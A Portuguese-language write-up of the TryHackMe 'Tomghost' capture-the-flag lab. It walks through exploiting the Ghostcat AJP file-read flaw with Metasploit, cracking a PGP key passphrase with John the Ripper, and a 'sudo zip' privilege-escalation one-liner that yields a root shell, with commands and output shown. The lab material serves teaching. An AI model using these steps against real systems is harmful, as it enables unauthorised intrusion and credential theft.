

Write up Tomghost

Começamos o CTF rodando o nmap no IP alvo com a flag -sS para vermos os serviços que estavam rodando. Assim vemos que tem um servidor Apache fora do comum, o Apache Tomcat 9.0.30

```
root@ip-10-67-71-251:~# nmap -sS 10.67.143.176
Starting Nmap 7.80 ( https://nmap.org ) at 2025-12-03 11:28 GMT
mass_dns: warning: Unable to open /etc/resolv.conf. Try using --system-dns or specify valid servers with --dns-servers
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns or specify valid servers with --dns-servers
Nmap scan report for 10.67.143.176
Host is up (0.00056s latency).
Not shown: 996 closed ports
PORT      STATE SERVICE      VERSION
22/tcp    open  ssh          OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
53/tcp    open  tcpwrapped
8009/tcp  open  ajp13       Apache Jserv (Protocol v1.3)
8080/tcp  open  http         Apache Tomcat 9.0.30
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
>
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.87 seconds
```

Verificando se há alguma vulnerabilidade no Exploit-DB encontramos um exploit em Python que explora a vulnerabilidade de poder ler qualquer arquivo no servidor.

```
root@ip-10-67-71-251:~# searchsploit ghostcat
-----
Exploit Title | Path
-----
Apache Tomcat - AJP 'Ghostcat' File Read/Inclu | multiple/webapps/48143.py
Apache Tomcat - AJP 'Ghostcat' File Read/Incl | multiple/webapps/49039.rb
-----
Shellcodes: No Results
```

Como padrão, o exploit tenta nos trazer o arquivo web.xml, tal arquivo que se trata de um descritor de implantação para aplicações web java, ele é usado para configurar a aplicação, logo, se não tiver sido bem implementado, pode ter informações críticas.

```
msf6 > use 0
msf6 auxiliary(admin/http/tomcat_ghostcat) > show options
Module options (auxiliary/admin/http/tomcat_ghostcat):
Name     Current Setting  Required  Description
-----  -----
FILENAME  /WEB-INF/web.xml  yes        File name
RHOSTS    10.67.143.176   yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT    8009               yes        The Apache JServ Protocol (AJP) port (TCP)

View the full module info with the info, or info -d command.
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 10.67.143.176
RHOSTS => 10.67.143.176
msf6 auxiliary(admin/http/tomcat_ghostcat) > show options
Module options (auxiliary/admin/http/tomcat_ghostcat):
Name     Current Setting  Required  Description
-----  -----
FILENAME  /WEB-INF/web.xml  yes        File name
RHOSTS    10.67.143.176   yes        The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT    8009               yes        The Apache JServ Protocol (AJP) port (TCP)
```

Executando o exploit, obtemos uma credencial SSH

```
msf6 auxiliary(admin/http/tomcat_ghostcat) > run
[*] Running module against 10.67.143.176
<?xml version="1.0" encoding="UTF-8"?>
<!--
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contributor license agreements. See the NOTICE file distributed with
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distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
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limitations under the License.
-->
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
    xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
    xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee
                        http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
    version="4.0"
    metadata-complete="true">

    <display-name>Welcome to Tomcat</display-name>
    <description>
        Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks
    </description>
```

Acessando a máquina que conseguimos a credencial, vemos que há arquivos de criptografia Pretty Good Privacy (PGP), que consiste em um arquivo .pgp, onde está os dados criptografados e um arquivo .asc, que é usado para guardar a senha do .pgp, também criptografado e que é usado para poder ser feito um compartilhamento seguro de senha por canais não confiáveis.

```

root@ip-10-67-71-251:~# ssh skyfuck@10.67.143.176
The authenticity of host '10.67.143.176 (10.67.143.176)' can't be established.
ECDSA key fingerprint is SHA256:hNxmz+AG4q06z8p74FfXZldHr0HJsa1FBXSoTlnss.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.67.143.176' (ECDSA) to the list of known hosts.
skyfuck@10.67.143.176's password:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.4.0-174-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

skyfuck@ubuntu:~$ ls
credential.pgp  tryhackme.asc

```

Baixamos esses arquivos em nossa máquina e extraímos o hash do .asc para tentarmos quebrá-lo usando o John the Ripper.

```

root@ip-10-67-88-104:~# scp skyfuck@10.67.143.176:/home/skyfuck/tryhackme.asc .
skyfuck@10.67.143.176's password:
tryhackme.asc                                100% 5144      2.4MB/s   00:00
root@ip-10-67-88-104:~# scp skyfuck@10.67.143.176:/home/skyfuck/credential.pgp .
skyfuck@10.67.143.176's password:
credential.pgp                               100%  394    238.1KB/s   00:00
root@ip-10-67-88-104:~# gpg2john tryhackme.asc > hash_da_chave

File tryhackme.asc

```

Quebrando o hash do .asc, obtemos a senha “alexandru” do .asc

```

root@ip-10-67-88-104:~# john --wordlist=/usr/share/wordlists/rockyou.txt hash_da
_chave
Warning: detected hash type "gpg", but the string is also recognized as "gpg-ope
ncl"
Use the "--format=gpg-opencl" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65536 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:
SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:A
ES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 9 for all lo
aded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
alexandru          (tryhackme)
1g 0:00:00:00 DONE (2025-12-03 12:20) 4.347g/s 4660p/s 4660c/s 4660C/s chinita..
alexandru
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

```

Acessando o .asc, obtemos a senha para descriptografar o .pgp, fazendo isso, podemos as credenciais SSH do usuário Merlin.

```
root@ip-10-67-88-104:~# gpg --import tryhackme.asc
gpg: key 8F3DA3DEC6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key 8F3DA3DEC6707170: secret key imported
gpg: key 8F3DA3DEC6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg:          imported: 1
gpg:          unchanged: 1
gpg:      secret keys read: 1
gpg:   secret keys imported: 1
root@ip-10-67-88-104:~# gpg --decrypt credential.pgp
gpg: WARNING: cypher algorithm CAST5 not found in recipient preferences
gpg: encrypted with 1024-bit ELG key, ID 61E104A66184FBCC, created 2020-03-11
      "tryhackme <stuxnet@tryhackme.com>"
merlin:asuyusdoiuqoilkda312j31k2j123j1g23g12k3g12kj3gk12jg3k12j3kj123jroot@ip-10-67-88-104:~#
```

Já dentro da máquina do Merlin, vemos que ele tem permissões de root, vemos que ele tem permissão root para mexer em arquivos .zip.

```
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
  env_reset, mail_badpass,
  secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
```

Buscando por algum alguma forma de escalar privilégio com essa informação, encontramos o seguinte comando, que nos dá uma shell root, assim completando o CTF.

```
merlin@ubuntu:~$ sudo zip /tmp/fake.zip /etc/hosts -T -TT 'sh #'
  adding: etc/hosts (deflated 31%)
# ls
user.txt
# whoami
```